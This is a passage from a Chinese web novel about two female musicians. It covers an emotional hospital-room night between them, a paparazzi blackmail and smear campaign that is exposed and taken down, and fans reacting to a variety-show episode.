又开始烦了。 早知道她就不该心软,应该将对方赶走的。 她反悔了,她现在又不想谈了,许风扰没有坚持上一个决定,几乎是瞬间就做出决定,然后脱口而出道:“柳听颂,你明早就走,我不需要陪护。” 旁边的人僵着身子,手臂贴近的地方冰凉一片,好像被人一下子掐住脖子,连呼吸都变得困难。 可许风扰没有再理会,侧身拉远距离。 雨声更大,弹珠大小的雨滴不断往玻璃窗上砸,风声更大。 许风扰闭眼要睡,那人却侧身贴过来。 “对不起……”压抑的声音闷闷响起,落在许风扰后脖颈。 她又一次重复:“对不起……” 被拉远的距离被压缩至不存在,柳听颂紧紧贴着她,抬手要抱却又不敢,虎口掐在她的侧腰,躯体冰凉、呼吸却滚烫,眼泪一滴一滴往下落,摔砸在许风扰后颈,炸开朵朵水花。 不知道什么时候又开始哭了。 许风扰拧起眉头。 “对不起……”她反反复复说着,紧绷的弦终于崩坏,积攒了一晚上的情绪彻底崩坏。 “求、求你,别赶我走,”她整个人都在抖,声音发颤,作为歌手最基本的吐字清晰能力都丧失。 “对不起,”她好像就只会这三个字了,反反复复,不断重复。 开合的唇划过脖颈,结疤的地方粗糙,掀起细微刺痛。 许风扰没有反应,既没有推开对方,也没有安慰,就这样直挺挺躺在那儿。 这样的举动显然让柳听颂更崩溃,压抑的哭声在房间裏环绕,一个个细碎的吻落了下来。 轻贴片刻就移开的、紧紧压下的、带着呢喃的、被齿尖划过的、还有咬住、吮吸的。 情绪早就崩溃,只剩下呆呆木木的躯体,直到此刻才从保护机制中抽离出来。 掐着腰的虎口越发收紧,不断将人往自己怀裏压,许是许风扰不在意的沉默态度,让柳听颂越发急切,甚至开始一下又一下地咬住薄皮,试图用这种方式获得些许回应。 “别走、我没办法离开你……” “我不行、阿风……” 不断央求的沙哑声音,手在腰间摩擦,单薄布料贴在一块,许多感触都变得格外清晰。 许风扰思绪却恍惚,迟来的道歉一声接着一声,却没有让她好受半点,只剩下烦躁。 烦躁。 吮吸加重,变成啃咬,在最敏///感的肌理处,留下大大小小的痕迹。 许风扰不禁仰头,发出一声闷哼。 虎口下的腰肢也绷紧,被掀起的衣角露出劲瘦线条,下一秒又被人压住,握在掌心。 这让许风扰想到之前看过的同人文,是楚澄从乘风超话裏翻出来的,被她发在群裏,强烈要求每一个人都要看。 因为裏头的楚澄被描写成一只巨大的狼人,而许风扰则是个脆弱瘦小的吸血鬼,每天晚上都要被狼人以各种方式压在身下啃咬,就是像柳听颂现在这样,只是力度可能还需要更重一点,毕竟那个描写用了血肉模糊这个词。 “嘶……” 力度突然加重,许风扰忍不住痛呼一声。 倒也没破皮,只是留下的一个非常小的牙印,但这处皮肤细腻,平常洗澡随便一搓就发红,更何况是这样。 许风扰都不敢想,要是被咬得血肉模糊会怎么样,那些写同人文的小孩也是真敢想。 又是一口咬下,印在大动脉左右,齿尖碾磨着心跳,身后的人体温变得越发炙热,好像真的变成那所谓的狼人。 可今夜无月,只有被黑云覆盖的天空与大雨,轰隆隆的雷声,随时能将吸血鬼吓死。 手在腰间左右盘旋,蓝白条纹衬衫被揉乱,垂落的长发与白发纠缠在一块,脖颈覆着一层晶莹水迹,吻痕与牙印交织,描绘出繁琐瑰丽的纹路,犹如缠绕包裹的藤蔓。 哽咽的道歉还在继续,可被惩罚的人却是许风扰。 烦人。 她都不敢想,明天起来之后,自己的脖颈周围会有多精彩,这地方遮都遮不住。 可这样的纵容,却没有让柳听颂缓和半点。 她一直在抖,整个人都颤得厉害,即便她没有开口述说,但仍让人感受到了她的恐惧。 可出事故的人没什么感觉,反倒是她这个连旁观者都谈不上的人,害怕到连分开片刻都不行,非要坐在旁边守着许风扰,生怕一眨眼她又消失不见。 烦。 柳听颂怎么会那么烦人。 许风扰皱起眉头,最后还是没能继续保持沉默,她突然一翻身,便抬手就掐住柳听颂脖颈,将人往床裏按。 没控制住的力度,让床发出咿呀一声。 可两个人都没有理会,掐在脖颈的手微微用力,逼迫着对方仰头,而许风扰偏头咬了上去。 咸涩的味道与热气交织,裏头还藏有一丝淡淡的薄荷味道,颤抖的唇贴在皮肤上,莫名有些痒。 那人想要说些什么,却被许风扰用力堵住,不准任何一个字再冒出。 忽有雷电闪过,照亮整个房间。 蓝白病服不知什么时候被解开,只剩下一颗扣子在强撑着,将领口虚虚遮掩,露出裏头大片大片泛起薄粉的苍白肌理,隐隐可见凸起的骨头,强势与薄弱,两种截然不同的感受却在她身上融合。 而被压在身下的女人,发丝散乱,细带垂落,领子下落,眼眶周围覆上一层盈盈绯色,微微一颤,眼尾的水珠就破碎开。 雷电声随之响起,病房又一次陷入漆黑。 唇舌相碰的啧啧声,被堵住的压抑呼吸,许风扰的动作暴戾,每一次唇分再落下,束在脖颈的手就会更用力。 “柳听颂你是狗吗?”恶劣的话语没有掩饰半点,字句中带着戏弄。 “嗯” “不被咬就咬人” “你什么时候那么欠了” 随着一声声问话落下的,是一个个啃咬般的吻,之前被咬开的地方,至今没能有半点好转,反而在一次次撕开后,越发皮开肉绽,血珠再一次凝聚,又被薄唇碾破,染在两人的唇舌间。 往日被压制的恶劣,眼下都被一声声道歉激出。 氧气被掠夺得干净,眼前出现一片白。 许风扰随之往下,咬住对方下颚,毫不留情的一口。 柳听颂下意识想往后缩,却被扣着脖子扯回来。 退无可退,逃无可逃。 机会已经给了不止一次,是她甘愿一步步往前,一次又一次地招惹自己。 尖牙咬向喉管,雷电又一次出现,唇间的血珠与苍白肤色相衬,银白色的发丝与碧色眼眸,恍惚间,还真以为瞧见了吸血鬼。 但不同于小说,被压在纯白床单上的祭品没有反抗,反倒主动伸手,勾着主人的脖颈,邀请她品尝。 大大小小的咬痕出现,呼吸散乱,单薄的睡裙不断往下落,直到露出半边弧度。 视线垂落,却选择往上,又一次咬住对方的唇。 柳听颂微微张开唇,邀请着对方继续。 窗外的雨越下越大,形成一道细密的白帘,将周围都遮掩,水从窗户缝隙挤入,滴答落在地上。 有护士推车走过,轮子在地上滚动,其中掺杂着些许说话声,好一会才消失不见。 病房裏头的动静逐渐放缓,最后消失不见。 许风扰整个人都趴在柳听颂身上,头还是晕的,折腾了一会就嫌难受。 眼下,两个人都在喘气,试图将杂乱呼吸调整。 掉落一半的被褥又被扯回,重新盖在两人身上,柳听颂松开被角、抬起手,有一下没一下地抚摸着许风扰的脑袋。 许风扰懒得动,仍由对方动来动去。 这下终于折腾够了。 柳听颂哭着宣洩了一通,许风扰发完了脾气,现在氛围陷入诡异的平静中,无人主动开口,贴在一块的心脏逐渐同频,一并跳动。 老远处好像响起几声鸡鸣,暗示着今夜的结束,只是浓云还未散开,周围还是漆黑一片的,地面积了巴掌高的水,正疯狂往下水道口涌。 许风扰稍缓过来些,才慢吞吞开口:“楚澄和你说什么?” 又是这个问题。 今天晚上的第三遍,看来是下定决心要问清楚了。 柳听颂沉默了下,不再像之前那样含糊,尽量简略地说了些,同时,脑海裏中的句句原话响起。 “要不是因为你,阿风她不可能会去追车。” “我从来没见过她疯成这样,每次都是这样,只要是关于你的事,她就像疯了一样,完全失控。” “我当时跟在后面,看着那面包车飘来飘去,魄都要吓没了,生怕她出事。” “幸好有水田,要是什么坡,她哪能那么完整地躺在这裏?” “医生说她骨头都撞裂了,可她一点没表现出来,愣是先把你和那谁的照片删干净以后,才想起来叫我打电话。” 柳听颂省略了大半,但许风扰还是察觉到楚澄的夸张,怪不得能把柳听颂吓成这样。 她只好解释道:“没那么危险,我还戴着头盔呢。” “那两个人哪敢对我做什么?打都不敢打,一直在伸手抢单反。” “后面速度没那么快了,只是翻车的时候,我当时刚好伸腿在踹那个狗仔,结果车一翻,腿就撞到前面了。” “我之前是以为他拍到了我和你的照片,怕照片爆出去,影响到我自个和燃陨,和你没有多大的关系。” 她漫不经心地说着,很是平淡的语气,好像只是出了一个小意外一般的无所谓,继而又道:“你没必要愧疚什么。” “是我自己做贼心虚,怕被粉丝瞧见。” “与你无关。” 柳听颂没有回答,不知道信了没信,仍抚着许风扰的脑袋,一下接着一下,好半天才说了句:“别赶我走。” 原来还记得这一茬。 许风扰不知道怎么回,之前就没办法理清的事,现在在晕沉沉的状态下,又怎么能想出个结果,只会让脑袋更疼罢了。 “给我揉揉,”许风扰索性选择逃避,反手抓住对方的手,压在自己太阳xue上,恹恹哼道:“头晕。” 柳听颂自然不会拒绝,指尖的力度很轻,在脑袋侧边打着圈揉。 这个话题就这样不清不楚地又结束,一连说了几次,到最后也还是这样,根本没办法说清,那就只能选择放弃。 不知是不是专门学过,柳听颂揉捏的技术很好,许风扰半垂了眼,又开始犯困。 之前就没睡饱,只是中途被难受醒了。 眼下被这样温温柔柔地伺候着,连硬床都不用睡了,全身都压在柳听颂这裏,再加上刚刚闹完的疲倦,那困意便重新席卷而来,让人昏昏沉沉的。 “柳听颂,”她懒洋洋地喊。 “嗯”年长那位给予极温柔的回应。 “等过段时间再说吧,”她莫名其妙地冒出了这样一句话。 可柳听颂却僵住。 许风扰没有理会,眼帘几次要合上,却依旧强撑着道:“这两天头太晕了,等我好一点……” “出院之前,我会给你答案。” 话音刚落,坚持许久的眼帘终于合上,呼吸逐渐绵长。 柳听颂沉默了好一会,才缓缓重复着之前揉捏的动作。 窗外的大雨终于停歇,日光从云层中挤出,将停留许久的夜色驱赶,空气中泛着雨后的凉爽,病房裏终于亮堂了一点。 柳听颂偏头看向窗外,一夜无眠。 第27章 霸气护妻 之后的几天, 许风扰都不大舒坦,像是剩余精力都在一晚上耗尽,便几日都是昏昏沉沉。 医生都被喊过来瞧过, 说这是正常情况, 只开了些助眠的药物,让许风扰能多睡一会。 其间燃陨三人来过两次, 像是和她说了些什么,但许风扰那会根本听不进去,敷衍地点了点头, 不知什么时候又闭眼睡去。 之后她们就再没来过, 一方面是怕打扰许风扰休息, 一方面是怕被人拍到、发到网上再起舆论,所以一直没出现, 只在线上询问柳听颂。 直至今天, 之前综艺《重返乐队》的最后一期即将要放出的这一天, 网上突然掀起小小风波。 在S市不起眼的角落裏, 老旧的居民楼无声矗立, 从满是铁锈的防盗窗往裏看, 随手丢在破木桌上的手机突然响起, 不到第二声,左手绑石膏的男人当即伸手,将手机抓过来,立马接通。 一道稍显尖锐的女声,从扬声器中响起。 “我已经按照你们说的做了,视频什么时候给我?” 男人呵呵一笑, 便道:“你急什么?放心,事情结束后我一定会把备份都销毁。” “你最好说到做到, 没有下一次了,”女人尖声威胁,直接挂断电话。 那人也不生气,反倒得逞地笑起。 若许风扰在场,必然能认出这人,就是那天与许风扰相争的狗仔,而他身后沙发上坐着那天的司机,表情是同样的阴沉。 他打开手机,屏幕中赫然出现了一条新词条。 #燃陨MV女主发视频控诉许风扰# 不过十几分钟就挤上了热搜榜。 狗仔冷笑,阴恻恻冒出一句:“我就不信她这一次还能全身而退。” 身后的司机一下子倒进沙发,眼眶下青紫,侧脸的伤口狰狞。 那天结束后,他们的二手面包车因侧翻、进水等问题,彻底报废,同时两人也受到不同程度的伤,狗仔手臂骨裂,司机被炸开的玻璃划出一堆伤口,再加上单反被许风扰拿走,若没许风扰让况野先转给他们的十五万,两人这一趟可谓是人财两空。 可即便这样,两人仍不甘心,晚上翻来覆去睡不着,一直在想那触手可及的名气和几百万。 要是他们能将那些东西发出去,往后这个圈子裏谁敢看不起他们?再加上那几百万…… 两人一翻身,那破床就跟着咿呀作响,让人越发气恼。 要是那钱到手了,他们还用得着睡这破床 可许风扰偏要多管闲事,删了自己的照片还不够,还要把柳听颂的也删了,她到底在装什么烂好人?! 对她又没有什么好处! 两人越想越气,睁着眼睛半天睡不着,索性打开手机。 那晚停车场的人多,有不少人瞧见许风扰在追赶狗仔,并录下视频发到网上。 虽没有对许风扰造成什么实际性的麻烦,甚至还有些营销号在夸赞许风扰,说她性格刚,一如既往地不惯着狗仔,但也有少部分黑粉借机大骂许风扰,说她性格不稳定、扰乱治安。 他们两人就不断给这些黑粉点赞,以此来让自己自己好受一点。 可不曾想,指针刚指向凌晨一点,这些视频便全都消失不见。 狗仔两人满头雾水,不明白发生了什么,索性将自己之前下载保存的视频上传,结果不到两分钟,这视频就以违规为理由被下架,同时他们的账号也被封锁一个月。 这时的他们还抱着侥幸的心理,直到第二天,他们收到自己被整个娱乐圈抵制的消息。 他们最担心的事情还是出现了。 未来不会有任何公司、工作室会给他们赚钱的机会,同行为了讨好那些人,也不敢洩露半点消息给他们。 这个圈子他们是彻底待不下去了。 冷汗瞬间浸透衣衫,虽是酷暑时节,却让两人如同掉入冰窖一般。 不干这一行,他们还能做什么? 要是能老老实实去打工,他们又怎么可能当上狗仔? 前途无望,眼前一片漆黑,恨意汹涌而来。 两人回到出租屋,商量几天后,终于咬牙将之前拍到的视频翻出。 视频中的女主角曾出演过燃陨乐队的MV,但不知什么情况,那首MV无疾而终,双方都没有回应,只是燃陨自此之后就再也没有拍摄过MV。 而在一年前,他们曾拍到这个女主角和当年的MV导演,一前一后踏入酒店,又一起出来,互动极其亲密,宛如情侣。 最重要的一点是,这个导演早有家室,且是圈子出了名的顾家。 所以当导演、女主角得知这个视频的存在后,便立马花钱买断 但狗仔两人却觉得这是自己赚到的第一笔大财,便抱着纪念的心思,偷偷留下了备份。 而现在,反正他们已经无法在这个圈子混下去了,也不在乎什么规矩,反手就用来威胁导演两人。 狗仔要求他们录视频控诉燃陨乐队集体耍大牌,说许风扰私下性格恶劣,对女主角动手动脚,甚至还要她暗示许风扰可能碰过那玩意,坐实之前的谣言。 他们不知自己能做到那一步,也不知道许风扰会受到怎样的影响,他们只知道在自己离开S市前,一定要狠狠反咬许风扰一口,哪怕不能将她拖下水,也要从她身上咬下一块肉,让她和他们一样不好受。 想到此处,狗仔冷声一笑,转头看向后面的司机,说:“放心吧,许风扰身后一定没有什么人。” 两人之前曾担忧过,觉得是许风扰身后有人,所以那些视频才会那么快下架。 “张哥说过了,许风扰背后不仅没有人,而且还有人不大喜欢她……”狗仔刻意压低的声音,故作出神秘感。 张哥是他们之前认识的一个大狗仔,因为一些事欠了他们一点小人情,刚刚见他们打来电话,还以为是想让他保他们,拒绝的话都到嘴边了,却听见他们问起这事,当即就乐呵呵地全说完了。 “* 据说是姓许那位。” “那位?”司机眉头一皱,就道:“她不是早就转行了吗,怎么还掺和娱乐圈的事,而且我们怎么一点风声都没听到?” 狗仔当即解释道:“张哥说是好几年前的事了,那会咱们还没入行呢。” “再说了,那位也没直接说什么,就有一次他们公司有什么活动,下面的人提了燃陨乐队,却被那位直接否了,还用笔在许风扰的名字上画了好几个圈,上头这样做,底下人哪裏不懂?” “而且从那天开始,他们公司就再没人和燃陨合作过,甚至有些艺人为了讨好那位,还故意招惹许风扰,那位也没说什么,直接默许了。” 听到这话,一直绷着脸的司机松了口气,笑道:“我之前就觉得奇怪,许风扰那么火,怎么还有那么多人敢惹她?” “上次那谁还把她进医院的视频发出去了,我还寻思着他也是个聪明人,怎么会在这事上犯蠢。” 狗仔也笑:“她也就只能欺负欺负我们两个小蚂蚱,稍微厉害点的都没把她放在眼裏,想拍就拍,想发就发。” “早知道这样,那天晚上我们就该……”司机的话没有说完。 狗仔却点了点头,眉眼间悔意与恨意交织。 ———— 某处办公室内。 坐在电脑前的员工眼睛一扫,见老板提包离开,立马掏出手机开始摸鱼,下一秒,女人哭诉的声音从扬声器传出,瞬间响彻整个办公室。 旁边的同事转身扭头,摆出吃瓜的模样,夸张道:“你怎么现在才看啊,这瓜都发了半个小时了!” “这不是有老板盯着吗,你两都跑去厕所了,我哪裏还敢走,”这人抱怨了一句,又问道:“这又是什么瓜?那乐队的主唱又怎么了?“ 屏幕中的女人还在哭泣,练习多年的演技在此刻发挥到极致,一副被欺负的可怜小白花模样,哽咽道:“这件事给我带来很长时间的心理阴影,连续两个月都在做噩梦,一天只能睡几个小时……” “哎,这女的是谁啊?怎么那么惨,”员工一脸诧异。 同事连忙解释:“就是那谁,哎呀她是谁不重要,重点是她曾当过燃陨乐队的MV女主角,现在跑出来说燃陨乐队集体霸凌她呢!” “什么?”员工瞪大了眼。 屏幕中的女人还在哭,露出极痛苦的表情:“她们从第一天开始就看不惯我,各种刁难我,甚至大冷天让我在泳池裏泡了六个小时,我实在忍不住想爬上去,站在旁边看戏的许风扰,居然一脚把我踹了下去……” 员工忍不住啧啧几声,感慨道:“娱乐圈可真黑啊。” 同事接道:“谁说不是呢,她还暗示许风扰碰了那玩意呢。” “什么?!那玩意她也敢沾,真的假的,以后她还能演出吗?” “哎你别不信,这事情传了好久了吧,只是一直没有实锤,但你看她那么高一个人,就九十几斤,瘦成这样……”同事露出意味深长的表情。 员工附和:“我就说玩乐队的人都特别乱,我家那侄女还和我争,说燃陨不一样,哪裏不一样?我一看鼓手的那两大花臂就知道,她们绝对不是什么好人!” “对啊,现在这些小孩就是年纪太小,容易被这些蒙骗,”同事点头。 屏幕裏又哭着说:“王导实在看不下去,主动站出来帮我说了几句话,还被许风扰摔了摄像机。” 员工连忙补充:“这事之前就被爆出来过了吧?” “哎对,那会我们还讨论过呢,” 两人说来说去,等回过神一看,原本在播放的视频已经漆黑一片。 “哎,这视频呢?” “被删了?怎么回事啊!” 她们满脸疑惑,急忙退出再点进去。 便见到那女星已那条视频删去,同时另外两条词条攀升而上。 #燃陨乐队官博发布律师函# #王鹤出轨秦羽泽# 秦羽泽便是那位控诉燃陨乐队的女主角,而王鹤则是她口中为她出头的导演。 员工与同事两人诧异至极,吶吶道:“这女的还敢说别人欺负她?不会在拍mv的时候,就和那个男导演搞上了?” “这是我见过最快的反转,”员工眨了眨眼。 可在两人没有注意到的时候,老板已重返而来,静静站在她们的身后,默默看着她们。 而员工与同事的心路历程,在此刻的不同地方同时上演。 医院内走廊中。 柳听颂斜靠在窗沿边,不是很端正的姿态却显慵懒,眉眼不复在许风扰面前的柔和,凉薄且疏离,透着股拒人于千裏之外的冷漠。 可唇边疤痕与脖颈处毫无遮掩的牙印、吻痕,又将这冷漠的壳子撕裂出一条缝隙,平添几分艳妩。 被置于耳边的手机还在通话中,杜语蓉的声音传出。 “得嘞,关于你家那位祖宗的视频已经全平臺下架,你也真是急得慌,这才半个小时就催了三回,”她的语气极其幽怨。 她还趁机抱怨了句:“怎么对自己的事就没那么上心呢。” 柳听颂没理会,反倒说了句:“四十三分钟。” 这话让杜语蓉呆愣了下,继而才反应过来,这人在反驳她之前的话,说不止半个小时了,还嫌她们办事慢了! 杜语蓉哭笑不得,反驳道:“你也得让我们有个处理的时间啊,这V博又不是我家的,大手一挥就下架啊。” 她话音一转,又道:“但咱们也有进步嘛,这回比前两天快了不止一点是不?” “而且我们还查出这事的幕后主使,是之前那两个被我们封杀的小狗仔,我已经派人去警告了,他们要在敢折腾,那就真在法院见了。” “再说了,许风扰那公司也真是的,那么大个事也不着急,还得咱们去催,脑子裏到底装了什么?就连前两天那事,也是我们跑前跑后,熬了半个通宵呢。” 这些话凑在一起,邀功的意思格外明显。 柳听颂也不是个不明事理的人,刚刚只是那么一提,听到这话,语气稍缓,便道:“这几天辛苦你们了,你等会通知财务那边,给大家多发一个月的奖金。” 听到这话,杜语蓉顿时眉开眼笑,谁能不喜欢钱呢?再说她一个月的工资可不少。 “那我就先替她们谢谢老板,对了,咱们祖宗的情况有没有好点?方便的话,我过两天来看看?” 有了奖金,你那位祖宗都变成咱们祖宗了。 柳听颂不禁笑了下,只道:“情况好些了,但还是会有点头晕,你就不必过来了,省的她还得动脑子客套。” “成,”杜语蓉知道此刻不便,也就只是客套一下,继而补充道:“重返乐队那边传话过来,想让我们配合转发。” 往日都不理会这些、完全交于工作室处理的柳听颂,在此刻却停顿住,思索了下才道:“我等会就上线转发。” 杜语蓉露出果然如此的表情,当即答应一声,并道:“要我们再帮忙控控评吗?” 一个月奖金到手,杜语蓉现在特别主动。 柳听颂没有犹豫就同意下来,继而两人又聊了些工作上的事,不等片刻就挂断。 再过几分钟,苦苦等柳听颂的粉丝终于盼到她上线,还没来得及表达一下思念之苦,就瞧见她快速转发了一条V博,并添上一句: 和燃陨乐队的合作很愉快,阿风刚开始有些怕生,不大敢和我说话【笑哭.jpg】,但她确实是一个很有礼貌和天分的乐队主唱兼贝斯手。 前几分钟还有人在控诉许风扰性格恶劣,这一会就瞧见柳听颂夸赞许风扰有礼貌,这维护的态度不要太明显。 一众粉丝顿时傻了眼,看着那转折生硬、夹杂一丝老干部气息的长句,完全不同于之前的简洁官方,怎么可能猜不出这是柳听颂自个、亲自、编辑并发表的。 不是吧姐姐,一共就四句话,五十四个字外加一个表情包,你就提了一句燃陨乐队,其他都是许风扰,你的粉丝呢,啊喂! 而且,很有礼貌是什么意思,有礼貌就行了,怎么还特地多加了个很,是生怕我们不知道她有多礼貌是吗?! 别人评价她,都是恃才傲物、桀骜不羁、性格极差啊姐! 她在直播裏对你甩脸子啊姐! 我们的眼睛就是尺! 不管粉丝怎么想,柳听颂发完V博的后一秒就下线,匆匆就往另一边跑。 毕竟,她出门的借口是要去切点水果,可离开那么长时间,都够她将水果榨成汁了。 而另一边,柳听颂工作室的人自然也瞧见这条V博,众人当即看向杜语蓉,想问她怎么处理。 杜语蓉拿着手机,对着屏幕一笑,摆了摆手就道:“霸总忙着护妻呢,咱们别管。” “对了,霸总刚刚吩咐了,这个月多发一个月奖金!” 之前的事情被忘记,欢呼声顿时响起,不知谁高喊了一句霸总万岁,众人纷纷模仿。 柳听颂不知这一幕,即便知晓了也只会一笑,然后转身让人把杜语蓉的奖金扣下。 而现在,她正端着果盘,推门踏入病房。 裏头的人也刚刚放下手机,嘀咕了句:“橙子说她们明天要过来看我。” 她还不知道外头发生的事,这几天一看手机就眼花,索性丢到一边,懒得理会。 柳听颂点了点头表示答应,坐到她身边后,又用牙签将西瓜块叉起,喂到许风扰唇边。 许风扰张口就咬,习惯性往柳听颂怀裏躺,竖起来的枕头哪有柳听颂怀裏舒服 她还头晕着,根本受不了枕头的苦,只能躺柳听颂怀裏。 柳听颂无声纵容,轻声哄道:“这西瓜挺甜的,可以多吃两块。” 许风扰含糊答应,刚咽下就又有西瓜送到唇边,一点也不让她动手,贴心的很。 第28章 它冷笑着,像是对流言蜚语的嘲讽 晚上八点。 早早等在屏幕前的女孩拧着, 手中的遥控器被按了一次又一次,反复退出又返回,却依旧没能看见自己期待的视频。 她气得抱怨了句:“怎么回事啊这个破节目!” 旁边的母亲实在瞧不下去, 出声斥道:“你这是做什么, 今天的功课做完了吗?就知道在这裏按来按去,按了半天也没个声音出来。” 女孩嘟了嘟嘴, 不耐烦道:“做完了做完了,早就做完了,一天天就只知道做功课。” 她又哼:“我是在等燃陨乐队的综艺。” 听到燃陨, 母亲的眉头明显皱起, 又斥道:“我早就说过了, 让你少看点这些不三不四的人,你怎么就不会听。” 下意识要争辩的女孩刚张口, 已经按成习惯动作的手又是一点, 音乐声突然出现, 等待已久的最后一期如约而至。 女孩差点乐得蹦起, 拽住她妈妈的手臂就道:“妈你快看你快看, 你最喜欢的柳听颂是这一期的特邀嘉宾。” 刚刚还在抵触的母亲眼睛一亮, 直接放下手机, 忙道:“哪呢哪呢,柳听颂在哪裏呢!” ———— 另一边,柳听颂的助理梨子也将综艺打开。 那天光顾着和听颂解释谁谁谁,让她都没法仔细看直播,今天特地来补。 虽然这段时间发生了不少事,甚至得知听颂姐可能和许风扰有些纠葛, 但她一向分得很清,工作是工作, 追星是追星,屏幕裏和屏幕外就是两个世界,这也是她能长期跟着柳听颂的原因之一。 看着燃陨成员之间看似互相嫌弃,却十分亲昵的互动,她咬着薯片笑出声。 “好了好了,下一个问题。” 视频中的张导举起牌子,将还在打闹的燃陨打断,咳嗽两声就道:“燃陨裏面谁最恋爱脑!” 这本来是个毫无争议的问题,就连不怎么熟悉燃陨、只是当个消遣看的网友都能提前给出答案,最恋爱脑的名号,必须要给还在上升期就毅然结婚、闹得沸沸扬扬的纪鹿南。 可视频裏头,就许风扰坚定不移地指向纪鹿南。 而况野和楚澄抬着手,一下转向许风扰,一下看着纪鹿南,好半天没能做出决定。 纪鹿南自个倒好抉择,眨了眨眼,慢吞吞地抬手指向许风扰。 弹幕瞬间冒出一片问号。 在这个艰难抉择的时刻,许风扰咬着牙强调:“到底谁才是那个妻管严!” 她快速道:“是谁出去玩,兜裏就剩下十块钱,外面买瓶可乐往冰杯裏倒,剩下一半还要揣回去给闺女” 在这坚定有力的论据下,楚澄、况野终于将手指向纪鹿南。 纪鹿南嘴唇碾磨,想说些什么又说不出来,表情有点憋屈,居然还有些不服。 哪怕是已经看过一遍的梨子,也忍不住笑起来,可笑过之后,她又忍不住看向许风扰。 恋爱脑吗…… 她怎么感觉比起许风扰,听颂姐更像恋爱脑。 梨子脑海中骤然浮现出几个画面,表情瞬间变得复杂。 她想起那日拍摄结束后,酒醉的柳听颂不肯回家,执拗地一遍遍重复要去找许风扰。 当时她便觉得不对劲,听颂姐的酒品一向很好,怎么这一次却闹起来。 可她拗不过柳听颂,只能带着她驱车赶过去,心裏一点底没有,生怕许风扰把她们一起赶走,毕竟在直播的时候,她就看出许风扰对听颂姐的态度不同,莫名有些针对。 幸好柳听颂没让她上楼,要求她必须在楼下等着。 她忐忑不安地等了半天,终于瞧见柳听颂下楼,可这下楼的方式…… 完全出乎她的意料。 只见许风扰将听颂姐打横抱起,公主抱下楼。 她当时没能控制住,一下子就张大嘴。 当事人反倒平静,轻手轻脚地将阖眼睡着的柳听颂放入后排,关上车门后,才看向她。 当时的楼下只有一盏昏黄的路灯亮起,许风扰的精致面容隐在半明半暗光线中,衬得肤色更苍白,锐利的轮廓也柔和下来,加之略显凌乱的发丝、宽大短袖,便显得颓唐且沉郁。 这让长期在娱乐圈工作、见惯美人的梨子都不禁一愣,暗想那些超话中的照片还是拍得太差,连真人的一半姿色都没拍出来。 而许风扰不在意她的愣神,像是早就习惯了这些注视,一手搭在车门,一边低头看她,碧水眼眸比璀璨宝石更蛊人。 没有舆论中盛气凌人,她垂着眼,轻声开口:“麻烦你再把她送回去。” “她喝完酒后会头疼,又不爱喝解酒汤,你可以买两瓶酸奶,要草莓味的,她喜欢这个。” “她刚崴了脚,扶她上楼的时候小心一点。” “我之前给她喷了点云南白药,如果还严重的话,记得带她去医院拍个片子,劳烦你费心一点,仔细盯着她,免得她又逞强、假装没事,不肯去医院。” “家裏没有冰袋的话,可以用外卖软件点几个冰杯,正好和酸奶一起送过来。” “她这人娇气的很,每次穿高跟鞋都会磨到后跟,你下次可以提前准备几个防磨贴。” 她一句句耐心嘱咐,直到觉得没有遗漏后,才掏出手机,将自己的二维码摆出来。 “这是我的联系方式,有什么事你可以随时联系我。” 她又加重语气强调:“如果她不愿意去医院的话,你和我说,我有办法解决。” 其实私加其他艺人联系方式这事并不合规矩,但许是那时的许风扰太迷惑人,梨子拒绝的话都到了嘴边,却没能完整说出,鬼使神差地扫了码。 申请好友的请求一通过,许风扰就先转了一千过来。 金钱的刺激让梨子瞬间清醒,连忙摆手,慌张拒绝:“不用不用,这是我应该做的。” 可许风扰却仗着身高,伸手点向她屏幕,直接替她收下。 “你就告诉她,是我让你收的,她不敢、”许风扰停顿一下,换了句话:“她不会为难你的。” 之前的一幕幕已足以证明她们之前的亲昵,梨子表情纠结,还没有想好该怎么拒绝,就瞧见屏幕上方闪过一条消息。 听颂姐:收 她急忙将手机屏幕往回收,结结巴巴就道:“那、那行,我现在就送她回去。” “你说的我都记住了,”她赶紧补充了一句,余光窥向旁边,裏头的女人还是之前的那样,完全看不出来在装睡。 而做贼心虚的梨子,整个后背都冒出细汗。 幸好许风扰没有多说什么,只温和说了声谢谢。 梨子不记得那时的自己是怎么上车,又怎么启动的,直到她回过神往后视镜看时,许风扰还站在原地,静静看向这边。 而后排的柳听颂终于“醒”了, 她拿过梨子的手机,看着两人的聊天界面,不知是何情绪地冒出一句:“我还没加上呢……” 梨子脊背绷紧,完全不知该说什么。 最后柳听颂又将这一千块转给自己,然后又发了两千给梨子。 梨子不知道这一千到底有什么区别,只能捧着手机,看着这莫名其妙就白得的两千块,想哭又想笑。 记忆回笼,屏幕裏的声音依旧,梨子的注意力被强行拉扯回。 再看向屏幕,往日觉得甜得发齁的野风CP,现在满是充满纯友谊的气息,完全磕不起来一点。 说好屏幕内外分得很清呢,梨子眼前突然一片灰暗,看着那些还在不断刷着CP名的前同好,扯起唇角,冷冷一笑。 你们这些邪门CP迟早要跪地痛哭,后悔自己在乱磕什么东西。 ———— 简竹是柳听颂的多年老粉,如今在柳听颂超话中担任一个小管理,上次因工作,无奈错过了直播,让她满心懊悔,今天早早就拿出应援棒,死死守着屏幕前。 即便正主已经亲自发博夸赞了许风扰,但她还是听到不少小粉丝的嘀咕,说那许风扰根本就不是害羞,明明就是故意在给我们柳姐甩脸子,是我们听颂姐人好,才给了她一个臺阶下。 简竹听来听去,也不知该相信谁。 毕竟在粉丝眼中,偶像都是脆弱又善良,天天吃亏,需要粉丝帮忙支援的薄弱白瓷,万一是听颂姐被人三言两语蒙骗了呢 简竹一脸冷肃,直接将进度条调到柳听颂出现,继而把速度调成0.5倍速,她要用人眼放大镜,把每一个细节都看得清清楚楚! 没有人能欺负我们听颂姐! 可没到几分钟,她的表情就开始变得复杂,满是困惑。 她现在是百分之百肯定、千分之千确定,许风扰确实对她家天后摆脸色了! 柳听颂一来,她就避开,让前辈椅子是没问题,但怎么有一种避开豺狼虎豹的慌忙 打个招呼也走神,叫前辈的时候一点也不尊敬,甚至有点咬牙切齿的意味。 导演问问题的时候,她不是躲开视线,就是闭眼休息,最后还往卫生间跑。 可让她感到无比困惑的点是,相对于许风扰的逃避,柳听颂反而几次主动贴近,眼尾余光更是粘在许风扰身上一般,对方一走,她整个人都恍惚了,连回答问题都敷衍起来,只说句对不起大家,原谅她暂时不能回答。 以她多年老粉的直觉,柳听颂刚开始的回答肯定不是这个,只是因为许风扰离开,她才一下子变了口风。 惹得简竹心裏像被猫挠了一样。 